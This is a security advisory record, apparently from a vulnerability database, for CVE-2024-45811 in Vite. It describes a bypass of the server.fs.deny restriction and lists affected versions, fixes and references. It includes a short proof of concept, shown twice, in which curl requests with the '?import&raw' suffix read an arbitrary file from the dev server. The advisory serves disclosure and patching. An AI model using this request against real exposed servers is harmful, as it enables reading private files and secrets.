ghsa-9cwx-2883-4wfx
Vulnerability from github
Published
2024-09-17 18:44
Modified
2024-09-19 18:34
Severity ?
5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
6.9 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
6.9 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Summary
Vite's `server.fs.deny` is bypassed when using `?import&raw`
Details
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fs
denies access to files outside of Vite serving allow list. Adding ?import&raw
to the URL bypasses this limitation and returns the file content if it exists.
PoC
```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev
$ echo "top secret content" > /tmp/secret.txt
expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```
{ "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 5.4.5" }, "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "5.4.0" }, { "fixed": "5.4.6" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 5.3.5" }, "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "5.3.0" }, { "fixed": "5.3.6" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "5.2.0" }, { "fixed": "5.2.14" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 4.5.3" }, "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "4.0.0" }, { "fixed": "4.5.4" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.2.10" }, "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "3.2.11" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 5.1.7" }, "package": { "ecosystem": "npm", "name": "vite" }, "ranges": [ { "events": [ { "introduced": "5.0.0" }, { "fixed": "5.1.8" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-45811" ], "database_specific": { "cwe_ids": [ "CWE-200", "CWE-284" ], "github_reviewed": true, "github_reviewed_at": "2024-09-17T18:44:12Z", "nvd_published_at": "2024-09-17T20:15:05Z", "severity": "MODERATE" }, "details": "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?import\u0026raw` to the URL bypasses this limitation and returns the file content if it exists.\n\n### PoC\n```sh\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" \u003e /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n \u003cbody\u003e\n \u003ch1\u003e403 Restricted\u003c/h1\u003e\n \u003cp\u003eThe request url \u0026quot;/tmp/secret.txt\u0026quot; is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import\u0026raw\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```\n\n", "id": "GHSA-9cwx-2883-4wfx", "modified": "2024-09-19T18:34:32Z", "published": "2024-09-17T18:44:12Z", "references": [ { "type": "WEB", "url": "https://github.com/vitejs/vite/security/advisories/GHSA-9cwx-2883-4wfx" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45811" }, { "type": "WEB", "url": "https://github.com/vitejs/vite/commit/4573a6fd6f1b097fb7296a3e135e0646b996b249" }, { "type": "WEB", "url": "https://github.com/vitejs/vite/commit/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34" }, { "type": "WEB", "url": "https://github.com/vitejs/vite/commit/8339d7408668686bae56eaccbfdc7b87612904bd" }, { "type": "WEB", "url": "https://github.com/vitejs/vite/commit/a6da45082b6e73ddfdcdcc06bb5414f976a388d6" }, { "type": "WEB", "url": "https://github.com/vitejs/vite/commit/b901438f99e667f76662840826eec91c8ab3b3e7" }, { "type": "PACKAGE", "url": "https://github.com/vitejs/vite" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "Vite\u0027s `server.fs.deny` is bypassed when using `?import\u0026raw`" }
Loading…
Loading…
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.